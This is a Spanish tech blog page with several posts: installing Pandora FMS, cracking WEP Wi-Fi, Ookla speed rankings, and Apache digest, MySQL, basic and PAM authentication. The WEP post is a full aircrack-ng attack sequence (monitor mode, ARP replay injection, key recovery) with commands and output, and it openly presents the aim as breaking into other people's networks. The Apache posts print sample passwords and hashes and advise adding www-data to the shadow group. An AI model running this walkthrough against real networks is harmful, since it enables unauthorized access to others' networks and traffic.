Pandora FMS (Flexible Monitoring System) es una herramienta de monitorización de software libre (desarrollada por Ártica, una empresa española) que hace ya tiempo que tenía ganas de probar, así que aprovechando las vacaciones y el reciente lanzamiento de su versión 3.1 me he puesto manos a la obra. Al estilo de lo que dejamos por aquí hace ya unos años cuando hablamos de Nagios, tocaremos en esta primera entrada la instalación y primeros pasos y en posteriores posts veremos algunas de las principales tareas de configuración y gestión. Agarraos.

Vaya por delante que yo nunca he pensado que instalar y/o configurar Nagios sea algo complicado. Pero es que instalar Pandora FMS y crear un primer mapa de los elementos de tu red (que es lo que veremos hoy aquí) es tan fácil como comerse un bizcocho. No existen extrañas dependencias, no hay nada que compilar, ni arcanos ficheros que editar. La instalación de Pandora FMS es más fácil aún que la de wordpress, drupal o la de cualquier otro CMS vulgarote. Una verdadera gozada. Ya no hay excusa válida para no monitorzar el estado de tu red y de sus elementos de forma centralizada.

Pandora FMS está formado por tres componentes: servidor, consola y agente. A grandes rasgos, los servidores son las máquinas desde las que se lanzan los diferentes tests, la consola la que contiene la instancia de Apache a la que nos conectamos para administrar, configurar y monitorizar el conjunto y los agentes serían las máquinas a monitorizar. Una instalación típica de Pandora FMS tendrá una consola, uno o más servidores y tantos agentes (en máquinas windows o GNU/Linux) como deseemos. Para este ejemplo partiremos de una instalación limpia de Debian Lenny 5.0.5 eligiendo sólo los paquetes standard mínimos. Sobre esta máquina instalaremos el servidor, la consola y un primer agente.

Lo primero que debemos hacer es instalar las dependencias previas. Se trata, en su práctica totalidad, de paquetes estándar y disponibles en los repositorios stable de Debian. En la wiki del proyecto (con muy buena documentación, por cierto) hay un apartado dedicado a esto pero a mi me han faltado algunos. La lista que yo he necesitado es la siguiente:

# apt-get install snmp snmpd sudo xprobe2 nmap traceroute mysql-server mysql-client dbconfig-common apache2 php5 libapache2-mod-php5 php5-gd php5-mysql php-pear php5-snmp php-db php-gettext php-db php5-xmlrpc php5-ldap libtime-format-perl libxml-simple-perl libnetaddr-ip-perl libdbi-perl libhtml-parser-perl libmail-sendmail-perl libio-socket-multicast-perl libhtml-tree-perl hp-gettext graphviz

En segundo lugar, nos descargamos e instalamos las herramientas y dependencias que Debian no ofrece como paquetes estándar de las páginas del proyecto en Sourceforge.

Tercero: nos bajamos, también de Sourceforge, los paquetes de los tres componentes de Pandora FMS (consola, servidor y agente) y los instalamos igualmente. El paquete del agente que está disponible ahora mismo da un error de instalación que se soluciona siguiendo las indicaciones de este foro.

Se acabó la línea de comandos. Puesto que en la máquina en la que estamos haciendo la instalación no hemos instalado siquiera las X, nos vamos a nuestra máquina de escritorio, abrimos un navegador y cargamos la siguiente URL para iniciar la configuración:

http://<ip o nombre de la maquina>/pandora_console/install.php

La configuración se hace a través de seis sencillos pasos que podeis ver en las diapos de aquí abajo. Aceptamos la licencia, verificamos que todas las dependencias se han instalado correctamente, aceptamos los datos relativos a la base de datos y la instancia web y cumplimentamos los datos de un usuario con privilegios para crear la nueva base de datos y, muy importante, anotamos la contraseña aleatoria que nos muestra en la pantalla número 5.

• pandorafms01

  http://blog.unlugarenelmundo.es/wp-content/uploads/2010/08/pandorafms01.jpeg
  la

• pandorafms02

  http://blog.unlugarenelmundo.es/wp-content/uploads/2010/08/pandorafms02.jpeg
  la

• pandorafms03

  http://blog.unlugarenelmundo.es/wp-content/uploads/2010/08/pandorafms03.jpeg
  la

• pandorafms04

  http://blog.unlugarenelmundo.es/wp-content/uploads/2010/08/pandorafms04.jpeg
  la

• pandorafms05

  http://blog.unlugarenelmundo.es/wp-content/uploads/2010/08/pandorafms05.jpeg
  la

• pandorafms06

  http://blog.unlugarenelmundo.es/wp-content/uploads/2010/08/pandorafms06.jpeg
  la

Antes de entrar por primera vez en la consóla debemos de proporcionar al servidor la contraseña que se nos ha facilitado durante la instalación. Para ello editamos el fichero /etc/pandora/pandora_server.conf y localizamos en él el parámetro dbpass:

dbpass ghqshtvw

Finalmente relanzamos el proceso del servidor (que debe de haber abortado tras la instalación debido a la ausencia de esta contraseña):

# /etc/init.d/pandora_server start /etc/pandora/pandora_server.conf

Y esto es todo. Si ha habido algún problema debería de haber quedado reflejado en los archivos de log que se encuentran en el directorio /var/log/pandora. Si todo ha salido bien podemos ir a nuestra máquina de escritorio y entrar en la consola a través de la siguiente URL. El usuario creado inicialmente de forma automática es admin y la contraseña pandora:

http://<ip o nombre de la maquina>/pandora_console/

La pantalla inicial que se nos presenta tiene el aspecto de la imagen de aquí abajo (pulsa sobre ella para ampliarla). En la wiki de documentación del proyecto tienes una buena descripción de cada uno de sus apartados:

Y vamos a terminar por hoy diciendole a Pandora que lance una tarea de reconocimiento para que veamos cuan fácil es crear un mapa de nuestra red. Para ello, y dentro del menú lateral de administración, desplegamos la opción de “Gestionar servidores” y pulsamos sobre “Gestionar tarea recon”. Pulsamos el botón de Crear y cumplimentamos la ficha con los datos de nuestra red:

Ya experimentaremos más adelante con los campos de plantillas, puertos, etc. Por el momento sólo pondremos un nombre a la tarea, cumplimentaremos correctamente el “scope” de nuestra red y pulsaremos el botón de Añadir. La tarea se creará y se lanzará de forma automática. Si queremos ver el avance de la exploración vamos al menú lateral de operaciones, desplegamos la opción de “Servidores” y pulsamos sobre el nombre de nuestro servidor para que nos muestre las tarea que está ejecutando en este momento y el progreso de las mismas:

Al terminar la exploración desplegamos la opción de “Ver agentes” (también en el menú de operación) y elegimos “Mapa de red”. Et voilà:

Pulsando sobre cualquiera de los dispositivos mostrados en el mapa obtendremos una ventana de detalle como la siguiente:

Y por el momento basta. Otro día seguimos con ella.

Compártelo:

La gente quiere compartir su Wi-Fi con nosotros de forma desinteresada y, como Fon no sirve de gran cosa (¿Cuánto tiempo hace que no veis una red de Fon?¿Habeis visto alguna vez una? ), suele dejarnos acceso libre a sus puntos de acceso. En caso contrario no se explica que aún hoy en día más de la mitad de los accesos inalámbricos esten configurados usando un sistema de cifrado, el WEP, que nos permite paso libre en apenas cuatro o cinco minutos. Un “amable” detalle para que no gastemos más en la factura de teléfono y poder recoger el correo o conectarnos a facebook para dar envidia durante las vacaciones.

La única parte complicada de todo lo que vamos a contar a continuación es disponer de una tarjeta de red con los drivers oportunos para nuestra tarea. La tarjeta (el hardware) no merece darle muchas vueltas. Si la que tenemos sirve, pues estupendo. Si no, tendremos que comprar una adecuada. Los drivers se pueden compilar para cualquier distribución de Linux, pero no merece la pena hacerlo: yo tengo instalado Backtrack en una pequeña partición de 15 Gbytes de mi portatil para estos menesteres y si a ti no te sobra siquiera ese espacio puedes usar una versión live de esta distribución en una memoria USB. Si estás curtido en este mundo y prefieres compilar los drivers tu mismo para tu distribución habitual, adelante. En este último caso disponer de la suite aircrack-ng no te será complicado. Para todo el proceso necesitaremos al menos tres terminales de forma simultanea pero es indistinto que lo hagamos mediante un entorno gráfico (startx) o usando terminales virruales (Ctrl+Alt+Fn).

Y empezamos con los preliminares. Hemos arrancado ya con nuestra backtrack y vamos a comprobar que nuestra tarjeta es compatible con los drivers de madwifi y, en caso afirmativo, a inicializarla. Para ello usamos el comando iwconfig para ver que tarjeta tiene extensiones inalámbricas e ifconfig para averiguar la MAC (Hwaddr) de la misma:

root@bt:~# iwconfig
lo no wireless extensions.

eth0 no wireless extensions.

wlan0 IEEE 802.11bgn Mode:Managed Access Point: Not-Associated
Tx-Power=20 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off

root@bt:~# ifconfig wlan0
wlan0 Link encap:Ethernet HWaddr 1c:4b:d6:a3:52:2a
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

En el volcado anterior vemos que la denominación de nuestra tarjeta es wlan0 y que su dirección MAC es la 1c:4b:d6:a3:52:2a. Bien. Ahora incializaremos en modo monitor nuestra tarjeta:

root@bt:~# airmon-ng stop wlan0

Interface Chipset Driver
wlan0 Atheros ath9k - [phy0]
(monitor mode disabled)

root@bt:~# airmon-ng start wlan0

Interface Chipset Driver
wlan0 Atheros ath9k - [phy0]
(monitor mode enabled on mon0)

Y ahora comprobaremos que es apta para nuestro trabajo. En la última línea del comando anterior la suite de aircrack nos ha devuelto el identificador correspondiente a nuestro adaptador inalámbrico en modo monitor que es el que usaremos a partir de ahora. El siguiente comando nos dirá si dicho dispositivo es capaz de inyectar paquetes en una red wifi y hará una prueba de dicha “habilidad” con tres de los dispositivos que sea capaz de detectar:

root@bt:~# aireplay-ng --test mon0
14:20:50 Trying broadcast probe requests...
14:20:50 Injection is working!
14:20:52 Found 3 APs

14:20:52 Trying directed probe requests...
14:20:52 00:03:C9:8D:0C:04 - channel: 1 - 'La cueva de Moratalaz'
14:20:52 Ping (min/avg/max):
1.644ms/3.040ms/6.560ms Power: -28.13
14:20:52 30/30: 100%

14:20:52 00:1F:5B:89:4B:BE - channel: 2 - 'Apple Network'
14:20:53 Ping (min/avg/max): 2.183ms/22.288ms/87.101ms Power: -75.30
14:20:53 30/30: 100%

14:20:53 00:1F:E1:2A:79:74 - channel: 1 - 'Livebox-DBB0'
14:20:58 Ping (min/avg/max): 2.218ms/3.187ms/4.387ms Power: -90.40
14:20:58 5/30: 16%

Y hasta aquí los preliminares. Si la prueba anterior ha fallado no tenemos nada que hacer y tendríamos que revisar que falla de lo expuesto hasta el momento. Vamos ahora a elegir nuestro “objetivo”. Para ello usaremos el siguiente comando;

root@bt:~# airodump-ng mon0

Como salida tendremos una pantalla con las redes detectadas por nuestro adaptador y diferentes medidas sobre la calidad de la señal que nos llega, actividad en la misma, cifrado, etc. Veamos un pantallazo (click para ampliarlo):

¿En que deberíamos de fijarnos a la hora de elegir objetivo? Por supuesto en el cifrado (WEP en la columna AUTH) y en la proximidad de la señal (identificada con un número en decibelios bajo la columna PWR). Además necesitaremos el BSSID del punto de acceso (su MAC), el canal en el que opera (columna CH) y el identificador de la red (columna ESSID). Pulsando Ctrl+C cuando tenemos datos suficientes la ejecución se aborta y podremos copiar estos datos con tranquilidad. La columna #Data es particularmente importante porque no podremos meternos en una red que no tiene actividad, así que es vano tratar de introducirnos en una con esta columna a cero. En este caso habrá que esperar a que el dueño la use. Explicaremos más adelante el motivo.

El siguiente paso es “capturar” los paquetes de identificación de la red elegida y guardarlos en un fichero. Si hemos elegido la red identificada como DJC de la captura anterior el comando sería el siguiente:

root@bt:~# airodump-ng -c 3 -w djc --bssid 00:13:f7:df:a4:0d mon0

Donde idicamos el canal (3), la raíz de los ficheros donde se guardarán las capturas (djc) y la MAC del objetivo (00:13:f7:df:a4:0d). La salida debería de ser algo así:

La columna más importante aquí es la etiquetada como #Data que nos muestra el número de paquetes IVs capturados. La captura de aquí arriba corresponde a una ejecución de siete minutos (excesiva para lo que necesitamos) pero al principio veremos de forma decepcionante como avanza de forma muy, muy lenta. Máxime considerando que necesitaremos entre 5.000 y 10.000 paquetes para acceder a la contraseña. Ahora veremos como hacerla correr…

Dejamos el anterior comando en ejecución y abrimos un nuevo terminal desde el que asociaremos nuestro adaptador inalámbrico al punto de acceso objetivo con la siguiente orden:

root@bt:~# aireplay-ng -1 0 -a 00:13:f7:df:a4:0d -h 1c:4b:d6:a3:52:2a -e DJC mon0

La primera MAC (00:13:f7:df:a4:0d) es la de nuestro objetivo y la segunda (1c:4b:d6:a3:52:2a) la del adaptador que estamos usando para conectarnos a ella. El identificador de la red objetivo sigue siendo DJC. En este punto podría ocurrir que no consiguieramos realizar la asociación. Esto es debido normalmente a que el punto de acceso está filtrando por MAC o a que estamos demasiado lejos del mismo. Lo primero tiene solución, pero ya lo veremos en otro artículo que este ya está quedando demasiado tocho. Una vez hecha la asociación pasamos a hacer crecer ese número de paquetes IVs que necesitamos para romper la contraseña. ¿Cómo? Pues aprovechando que los paquetes ARP se envían en modo broadcast y contienen un IV (vector de inicialización) que es lo que necesitamos. Pondremos a nuestro adaptador a escuchar y esperar este tipo de paquetes y a reinyectarlos en la red para acelerar el proceso de forma que en apenas un par de minutos tendremos varios miles de estos. El comando a continuación:

root@bt:~# aireplay-ng -3 -b 00:13:f7:df:a4:0d -h 1c:4b:d6:a3:52:2a mon0

La primera MAC sigue siendo la del punto de acceso y la segunda la de nuestro adaptador. El resultado de la ejecución de los dos últimos comandos aquí:

Si todo sale bien veremos como el número de paquetes IV capturados empieza a desbordarse. Si después de 500 ARP request no hemos conseguido este efecto cancela el comando y vuelve a ejecutar los dos últimos (el de asociación de la tarjeta y este). Después de tres o cuatro intentos, a lo sumo, conseguiremos el efecto deseado.

Vamos ahora con el paso final. Abrimos un tercer terminal y ejecutamos lo siguiente:

root@bt:~# aircrack-ng -b 00:13:f7:df:a4:0d djc-01.cap

Esto lanzará el ataque para descifrar la contraseña de la red identificada por la MAC 00:13:f7:df:a4:0d a partir de los paquetes capturados y almacenados en el fichero djc-01.cap (recuerda que la raiz djc la introdujimos nosotros). Si aircrack no tiene suficiente información para romper la clave quedará en espera de algunos centenares más y se relanzará de forma automática. Si no hay problemas enseguida nos responderá con algo así donde la clave que necesitamos es la que aparece al final y etiquetada como ASCII:

No os asusteis por la extensión del texto. He querido que sea fácilmente entendible y reproducible por casi cualquiera y por eso he metido más literatura de la cuenta, pero una vez que hayas practicado un par de veces podrás completar todo el proceso en apenas un par de minutos. Y démosle gracias a Telefónica por seguir instalando sus puntos de acceso usando WEP

Compártelo:

España se encuentra entre los puestos 24 y 26 de la Unión Europea (y en los puestos 45, 51 y 90 en el mundo, por debajo de Ghana y ligeramente por encima de las Islas Feroe) en calidad y ancho de banda de sus conexiones a Internet. Lo dice la gente de Ookla en Net Index, una completa colección de estadísticas elaboradas a través de la recopilación de los datos recogidos por dos de sus servicios: Speedtest y Pingtest.

El estudio incluye tres parámetros por cada país: el ancho de banda de subida, el de bajada y el llamado Factor-R como medida de la calidad de la conexión. El estudio incluye, además, la evolución de estos tres parámetros desde el año 2007, una comparativa de ciudades dentro de cada país y un ranking parcial por separado para los países de la unión europea, del G8, de la OECD y de la APEC

En el futuro prometen incluir precios e ISP’s con lo que podría convertirse en una buena herramienta para elegir proveedor de conexión a Internet en tu zona.

Compártelo:

Continuamos hoy con otros dos métodos de autenticación en Apache. El primero que vamos a ver recupera los problemas de gestión de usuarios y contraseñas pero soluciona el problema de la transferencia de contraseñas en claro sin necesidad de usar SSL. Consiste en usar la autenticación mediante digest. El procedimiento, como veréis, es muy similar al visto el otro día con la autenticación básica pero cambiando algunas de las directivas y usando la utilidad htdigest en lugar de htpassword para crear el fichero de contraseñas. El módulo de autenticación necesario suele venir con Apache pero no habilitado por defecto. Para activarlo usamos la utilidad a2enmod y, a continuación reiniciamos el servidor Apache:

$ sudo a2enmod auth_digest
$sudo /etc/init.d/apache2 restart

Luego incluimos una sección como esta en el fichero de configuración de nuestro Virtual Host:

<Directory "/var/www/miweb/privado">
     Order deny,allow
     AuthType Digest
     AuthName "dominio"
     AuthUserFile "/etc/claves/digest.txt"
     <Limit GET POST>
          Require valid-user
     </Limit>
</Directory>

Como vemos, es muy similar a la configuración necesaria en la autenticación básica. Sólo dos notas: el fichero donde se dejan las contraseñas se indicaba con la directiva AuthDigestFile hasta la versión 2.2 de apache. Ahora, como veis en el ejemplo, es AuthUserFile. Y dos: la directiva AuthName que en la autenticación básica se usaba para mostrar un mensaje en la ventana que pide el usuario y contraseña, ahora se usa también para identificar un nombre de dominio (realm) que debe de coincidir con el que aparezca después en el fichero de contraseñas. Dicho esto, vamos a generar dicho fichero con la utilidad htdigest:

# htdigest -c /etc/claves/digest.txt dominio josemaria
Adding password for josemaria in realm dominio.
New password:
Re-type new password:

Al igual que ocurría con htpassword, la opción -c (create) sólo debemos de usarla al crear el fichero con el primer usuario. Luego añadiremos los restantes usuarios prescindiendo de ella. A continuación vemos el fichero que se genera después de añadir un segundo usuario:

josemaria:dominio:8d6af4e11e38ee8b51bb775895e11e0f
gemma:dominio:dbd98f4294e2a49f62a486ec070b9b8c

El último método que vamos a ver usa una base de datos de mySQL como repositorio de contraseñas. Esto nos permitirá preparar de forma fácil unas páginas para gestionarlas por personal no experto o, incluso, permitir al propio usuario final que haga cambios por si mismo, crear algún método de recuperación automático por email, etc. Esto, combinado con un cifrado SSL, nos proporciona un método cómodo, flexible y suficientemente seguro para la mayoría de los casos. Lo primero que debemos de hacer es instalar el módulo que nos proporciona este modelo de autenticación, activarlo y reiniciar nuestro apache:

$ sudo apt-get install libapache2-mod-auth-mysql
$sudo a2enmod auth_mysql
$sudo /etc/init.d/apache2 restart

A continuación necesitamos crear una base de datos adecuada en el servidor mysql. Los únicos campos imprescindibles son los dos correspondientes al usuario y contraseña, tal y como se muestran en la siguiente imagen. El resto, a nuestro gusto y dependiendo de si planeamos hacer alguna página para gestionarlos y las funcionalidades que queremos que tenga (nombre completo, dirección de email, etc.)

Necesitaremos, además, un usuario de mySQL con acceso a estas tablas para que Apache pueda usarlo. Con concederle privilegios de lectura (SELECT) nos basta:

Añadimos un par de registros a nuestra base de datos para hacer pruebas:

Y, por último, editamos la sección correspondiente en la configuración de nuestro Virtual Host y pedimos a apache que haga un reload de la misma:

<Directory "/var/www/miweb/privado">
     AuthType Basic
     AuthName "Zona Privada"
     AuthBasicAuthoritative Off
     AuthUserFile /dev/null
     AuthMYSQL on
     AuthMySQL_Authoritative on
     AuthMySQL_DB httpdauthmysql
     Auth_MySQL_Host localhost
     Auth_MySQL_User apacheauth
     Auth_MySQL_Password 4pache3Sql
     AuthMySQL_Password_Table usuarios
     AuthMySQL_Username_Field login
     AuthMySQL_Password_Field pwd
     AuthMySQL_Empty_Passwords off
     AuthMySQL_Encryption_Types Plaintext
     Require valid-user
</Directory>

El significado de los campos a personalizar para nuestra configuración es fácilmente distinguible:

• AuthMySQL_DB y Auth_MySQL_Host determinan los nombres de la base de datos y el servidor donde esta reside, que usaremos para la autenticación de usuarios.
• Auth_MySQL_User y Auth_MySQL_Password son los datos del usuario que apache usará para leer de la base de datos anterior.
• AuthMySQL_Password_Table, AuthMySQL_Username_Field y AuthMySQL_Password_Field describen, respectivamente, la tabla donde se guardan las credenciales de los usuarios con permiso de acceso y los campos que usaremos para almacenar sus usuarios y contraseñas.

El campo Auth_MySQL_Encryption_Types, por último, nos permite definir la forma en que la contraseña se guarda en nuestra base de datos y admite múltiples formas. Tal y como está en el ejemplo anterior, indicamos que la contraseña se guardará en texto plano. Si queremos hacerlo un poco más serio y no guardar la contraseña así podríamos, por ejemplo, almacenar un hash de la misma. Existen diversos métodos para esto, pero lo más sencillo es variar el valor de este campo por lo siguiente:

AuthMySQL_Encryption_Types Crypt

Esto nos permitirá usar las mismas firmas generadas por la utilidad htpasswd que vimos aquí o, en general, las creadas a partir de la llamada a la función crypt(). Copiamos el hash al campo pwd de la base de datos antes generada, volvemos a hacer un reload a nuestro apache y listo.

Compártelo:

El servidor web Apache puede acompañarse de distintos módulos para proporcionar diferentes modelos de autenticación. Hoy vamos a echarle un vistazo a la configuración básica de dos de los más utilizados y sencillotes. Vamos allá.

La primera forma que veremos es la más simple. Usamos para ello el módulo de autenticación básica que viene instalada “de serie” con cualquier Apache. La configuración que tenemos que añadir en el fichero de definición del Virtual Host a proteger podría ser algo así:

<Directory "/var/www/miweb/privado">
     Order deny,allow
     AuthUserFile "/etc/apache2/claves/passwd.txt"
     AuthName "Palabra de paso"
     AuthType Basic
     <Limit GET POST>
          Require valid-user
     </Limit>
</Directory>

La información a personalizar está marcada en negritas. En Directory escribimos el directorio a proteger, que puede ser el raíz de nuestro Virtual Host o un directorio interior a este. En AuthUserFile ponemos el fichero que guardará la información de usuarios y contraseñas que debería de estar, como en este ejemplo, en un directorio que no sea visitable desde nuestro Apache. Ahora comentaremos la forma de generarlo. Por último, en AutnName personalizamos el mensaje que aparecerá en la ventana del navegador que nos pedirá la contraseña. Existen otras directivas adicionales o modificaciones a estas útiles para personalizar el acceso: AuthGroupFile, Require user, Require group, etc. Ya sabéis: Google es vuestro amigo

El fichero de contraseñas se genera mediante la utilidad htpasswd. Su sintaxis es bien sencilla. Para añadir un nuevo usuario al fichero operamos así:

# htpasswd /etc/apache2/claves/passwd.txt carolina
New password:
Re-type new password:
Adding password for user carolina

Para crear el fichero de contraseñas con la introducción del primer usuario tenemos que añadir la opción -c (create) al comando anterior. Si por error la seguimos usando al incorporar nuevos usuarios borraremos todos los anteriores, así que cuidado con esto. Las contraseñas, como podemos ver a continuación, no se guardan en claro. Lo que se almacena es el resultado de aplicar una función hash.

josemaria:rOUetcAKYaliE
carolina:hmO6V4bM8KLdw
alberto:9RjyKKYK.xyhk

Para denegar el acceso a algún usuario basta con que borremos la línea correspondiente al mismo. No es necesario que le pidamos a Apache que vuelva a leer su configuración (/etc/init.d/apache2 reload) cada vez que hagamos algún cambio en este fichero de contraseñas, pero si lo es después de hacer los cambios en el fichero de definición del Virtual Host.

La principal ventaja de este método es su sencillez. Sus inconvenientes: lo incómodo de delegar la generación de nuevos usuarios en alguien que no sea un administrador de sistemas o de hacer un front-end para que sea el propio usuario quien cambie su contraseña. Y, por supuesto, que dichas contraseñas viajan en claro a través de la red. Si queremos evitar esto último podemos crear una instancia Apache con SSL.

El segundo método que vamos a tocar usa PAM, el propio sistema de autenticación de la máquina donde está instalado nuestro servidor de Apache. Si ya tenemos alguna herramienta de gestión de usuarios y contraseñas en la misma este sistema nos ahora el engorro de tener que generar otro tipo de usuario. En caso contrario no ganamos mucho en este sentido y seguimos teniendo el problema de que las contraseñas viajan en claro con el agravante adicional de que ahora se trata de usuarios de la máquina… así que ya sabéis: o configuráis ssl o usáis el truco que comentamos el otro día por aquí para deshabilitar la conexión remota.

Usaremos para ello el módulo mod_auth_pam y lo primero que tenemos que hacer es instalarlo:

# sudo apt-get install libapache2-mod-auth-pam

En el fichero de configuración del Virtual Host tendríamos que incluir algo así:

<Directory "/var/www/privado">
     AuthType Basic
     AuthName "Palabra de paso"
     AuthPAM_Enabled On
     AuthBasicAuthoritative Off
     AuthUserFile /dev/null
     Require user josemaria gemma fernando araceli
</code>

Si en este caso la directiva usada fuese Require valid-user se permitiría el acceso a cualquier usuario con cuenta en la máquina. Ah, y no olvides hacer un reload de apache después de este cambio.

Sólo nos quedan un par de pasos. Primero, añadir el usuario www-data (el que usa apache) al grupo shadow para que pueda verificar las contraseñas:

usermod -a -G shadow www-data

Y dos, hacer un enlace como el que sigue. Ignoro la causa, pero el motivo de que esto sea necesario es debido a que apache (en los binarios de Debian y Ubuntu, al menos) pretende leer del archivo /etc/pam.d/http mientras que el módulo de autenticación ha creado el archvo /etc/pam.d/apache2. El módulo auth_pam hace años que no está soportado e imagino que esto tiene algo que ver, pero no lo se a ciencia cierta. Simplemente lo leí por ahí...

ln -s /etc/pam.d/apache2 /etc/pam.d/httpd

Y con esto está todo listo. No lo he probado nunca pero también he leído que la autenticación se hace contra el directorio activo si Apache está instalado en una máquina windows configurada en un dominio. Existe también un módulo para autenticar contra un ldap (mod_auth_ldap) que si que he probado y que ya veremos otro día

Compártelo: